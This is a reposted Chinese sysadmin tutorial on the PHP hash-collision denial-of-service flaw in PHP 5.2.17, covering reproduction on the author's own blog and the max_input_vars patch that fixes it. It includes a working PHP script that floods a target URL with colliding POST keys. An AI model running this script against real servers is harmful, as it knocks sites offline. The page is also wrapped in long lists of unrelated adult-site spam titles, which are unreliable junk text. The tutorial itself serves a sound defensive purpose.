亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际

17站長網

17站長網 首頁 安全 安全設置 查看內容

PHP Hash沖突導致 CPU 100%的完全解決方法

2022-9-24 21:23| 查看: 2698 |來源: 互聯網

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。 PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。     我們在這臺web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障

我們先看下環境,這個網站是LAMP架構,PHP版本是5.2.17。

PHP未打補丁前,服務器CPU情況,目前是2.1%的使用率。

    我們在這臺web服務器上編寫一個PHP程序,目的是要測試機去Hash它,以便故障重現。
程序語言如下:

復制代碼代碼如下:
echo $showtime=date("Y-m-d H:i:s");
?>

執行后的效果是取當前服務器的時間。

    找臺有PHP環境的測試機器,這臺機器我用虛擬機,里面有LAMP環境。進/usr/local/apache/htdocs目錄,寫一PHP網頁,程序語言如下:
[root@blog htdocs]# Vi hash.php


復制代碼代碼如下:
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

url地址,為你要作測試的目標機,i<100,表示最多100個并發。手工執行hash.php,進行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服務器端,我們去看服務器的資源利用情況,CPU是97.6%,看樣子單臺虛擬機,拿100并發去Hash,就足夠把web服務器的CPU利用率升至100%。


    Cpu到了100%,網站是什么情況呢。我們再瀏覽該臺web服務器,點網站上面的鏈接,反應正常,估計是這臺web服務器本身沒有一點壓力,所以看不出來。把并發量調到10000,再測下,剛才是100并發。

刷新checktime.php頁面,可以很快顯示,網站正常。但此時web服務器cpu已是100%

結論,我是用個人博客作目標機,因為個人博客,目前只有幾個人訪問,沒有壓力,所以即使,通過10000并發的Hash,CPU上到100%,個人博客打開的速度,還是相當快。

打上補丁,我們再觀察一下。
1、先查下以后在搭建環境時,PHP的編譯參數

2、到網上去下載一個PHP補丁,下載地址為:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars


3、根據個人平臺的版本號,點擊進去,注意,不要在它上面點右鍵,另存為,否則你down下的是一個html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新彈出的頁面點“raw”,就會打開這個補丁文件。


   把里面的內容復制,我這里只截了它一小部分。然后在web服務器上新建一個文件,php-5.2.17-max-input-vars.patch,里面就是剛復制的。

4、進php的原始安裝目錄,我這里環境是/opt/soft/php-5.2.17。先把原來已編譯好的一些,清理一下。


5、打補丁并重新編譯一下php

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平臺是make,每個環境不一樣
再make install

6、重啟一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

訪問一下,web服務器的phpinfo.php,查看PHP環境有沒有變化。大家可以在最上面看到,PHP版本后帶了個P1。這個還不夠,我們再用Hash碰撞一下,看cpu會不會上100%。


在測試機上,還是取并發10000,去Hash web服務器。發現web服務器的CPU一直保持在0.5%。

 

問題解決!
 

本文出自 “系統網絡運維” 博客

本文最后更新于 2022-9-24 21:23,某些文章具有時效性,若有錯誤或已失效,請在網站留言或聯系站長:17tui@17tui.com
·END·
站長網微信號:w17tui,關注站長、創業、關注互聯網人 - 互聯網創業者營銷服務中心

免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!

17站長網微信二維碼

始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!

掃一掃,關注站長網微信

大家都在看

    熱門排行

      最近更新

        返回頂部
        亚洲国产精品人久久,亚洲va国产日韩欧美精品色婷婷,久久久久88色偷偷,免费人成黄页在线观看国际
        韩国v欧美v日本v亚洲v| 欧美日韩成人综合在线一区二区| 在线播放日韩导航| 一本久道中文字幕精品亚洲嫩| 性感美女久久精品| 日本高清不卡视频| 久久激五月天综合精品| 国产三级欧美三级日产三级99| 国产福利一区在线观看| 久久精品视频免费观看| 国产九色精品成人porny | 久久国产人妖系列| 欧美精选午夜久久久乱码6080| 亚洲综合一二三区| 精品免费视频.| 日韩美女久久久| 午夜精品久久久久久| 日韩国产欧美在线视频| a级高清视频欧美日韩| 日韩精品一区二区在线观看| 日本美女视频一区二区| 国产一区视频在线看| 国产高清在线精品| 亚洲男同1069视频| 奇米777欧美一区二区| 国产日产欧美一区| 国产综合色产在线精品| 欧美亚一区二区| 91搞黄在线观看| 亚洲大型综合色站| 日本一区二区三区国色天香| 国产福利一区二区| 国产一区二区三区四区五区美女| 久久亚洲一区二区三区明星换脸| 蜜臀av性久久久久蜜臀aⅴ流畅| 日韩女优视频免费观看| 日韩一区欧美二区| 亚洲一区二区三区在线看| av中文字幕不卡| 亚洲中国最大av网站| 欧美一区二区在线免费播放| 美女视频黄频大全不卡视频在线播放| 97久久精品人人澡人人爽| 日av在线不卡| 日韩精品一区二区三区三区免费| 欧美三级视频在线| 2022国产精品视频| 亚洲成人免费影院| 成人av电影免费在线播放| 欧美国产精品中文字幕| 国产精品久久福利| 亚洲欧美日韩中文播放| 成人免费看的视频| 成人午夜激情在线| 亚洲国产精品久久不卡毛片| 色综合久久久久综合体| 欧美在线观看一区| 亚洲日本在线看| 国产91精品久久久久久久网曝门| 日韩精品一区二区三区swag | 国产精品1024| 久久无码av三级| 国产在线乱码一区二区三区| 欧美一级欧美一级在线播放| 午夜久久久久久久久 | 不卡在线观看av| 国产精品国产馆在线真实露脸| 风间由美一区二区av101| 国产丝袜在线精品| 波多野结衣精品在线| 伊人婷婷欧美激情| 欧美福利电影网| 国产剧情一区二区| 亚洲精品免费看| 91精品国产一区二区三区香蕉| 免费美女久久99| 国产精品视频在线看| 91精品1区2区| 亚洲欧美日韩精品久久久久| 成人精品视频一区二区三区 | 麻豆精品在线视频| 国产精品久久久久久户外露出 | 狠狠色丁香婷婷综合久久片| 国产日韩欧美综合一区| 一本色道久久综合亚洲aⅴ蜜桃| 午夜成人免费视频| 亚洲国产精品二十页| 欧美日韩不卡一区| 国产黄色91视频| 午夜成人免费视频| 亚洲欧美日韩人成在线播放| 精品精品欲导航| 欧洲精品一区二区| 成人综合婷婷国产精品久久蜜臀| 亚洲成人免费看| 亚洲男人的天堂网| 欧美国产一区视频在线观看| 69堂精品视频| 色老汉一区二区三区| 成人福利在线看| 国产精一区二区三区| 免费在线一区观看| 亚洲一级二级在线| 亚洲美女区一区| 国产精品久久久久久久久果冻传媒| 日韩欧美aaaaaa| 日韩免费电影一区| 91精品国产欧美一区二区成人| 色综合婷婷久久| 91色综合久久久久婷婷| 成人精品视频网站| eeuss鲁片一区二区三区在线看| 精品一二三四区| 久久国产精品99久久久久久老狼 | 欧美日韩中文精品| 欧美日韩一级黄| 欧美精品成人一区二区三区四区| 91美女视频网站| 91精品1区2区| 欧美精品久久一区| 日韩一区二区三区视频在线| 9191久久久久久久久久久| 欧美日韩精品专区| 日韩一区二区三区视频在线| 欧美大黄免费观看| 久久久99久久精品欧美| 久久久久久电影| 国产精品久久久久影院老司| 国产精品传媒在线| 亚洲一区二区三区美女| 精品国产乱码久久久久久图片| 日韩成人免费电影| 久久草av在线| 成人国产在线观看| 欧美影院午夜播放| 日韩精品一区二区三区视频| 国产欧美一区二区三区网站| 亚洲色图欧美激情| 日韩电影免费在线看| 国产高清精品在线| 欧美无砖专区一中文字| 日韩欧美一二区| 亚洲男同性恋视频| 精品一区二区三区在线播放| 国产丶欧美丶日本不卡视频| 色综合久久99| 久久综合国产精品| 亚洲成人tv网| 大白屁股一区二区视频| 欧美久久久久久久久| 中文字幕在线不卡视频| 日韩精品电影一区亚洲| www.欧美精品一二区| 欧美大片日本大片免费观看| 亚洲精品国久久99热| 精品一区二区三区在线视频| 色八戒一区二区三区| 国产亚洲欧美日韩日本| 性欧美疯狂xxxxbbbb| 91小视频在线| 国产精品水嫩水嫩| 韩国av一区二区三区在线观看| 91久久精品一区二区三区| 国产三级精品在线| 伦理电影国产精品| 欧美一区二区三区公司| 亚洲综合色噜噜狠狠| 国产成人免费9x9x人网站视频| 欧美日韩精品欧美日韩精品一 | 国产一区二区三区| 91精品麻豆日日躁夜夜躁| 亚洲三级视频在线观看| 成人免费av网站| 中文字幕av不卡| 国产传媒一区在线| 久久综合九色综合97婷婷| 日本视频免费一区| 宅男在线国产精品| 亚洲丶国产丶欧美一区二区三区| 91偷拍与自偷拍精品| 亚洲欧洲三级电影| av不卡在线播放| 亚洲丝袜精品丝袜在线| 色综合天天做天天爱| 亚洲欧美成人一区二区三区| 91碰在线视频| 亚洲一区二区三区精品在线| 欧美色图免费看| 日日嗨av一区二区三区四区| 制服.丝袜.亚洲.中文.综合| 午夜精品久久久久久不卡8050| 3d动漫精品啪啪1区2区免费 | 日韩精品免费视频人成| 欧美日韩一区久久| 日韩国产欧美在线视频| 久久亚区不卡日本| 成人免费视频视频| 亚洲伊人色欲综合网| 日韩欧美在线网站| 成人动漫一区二区三区|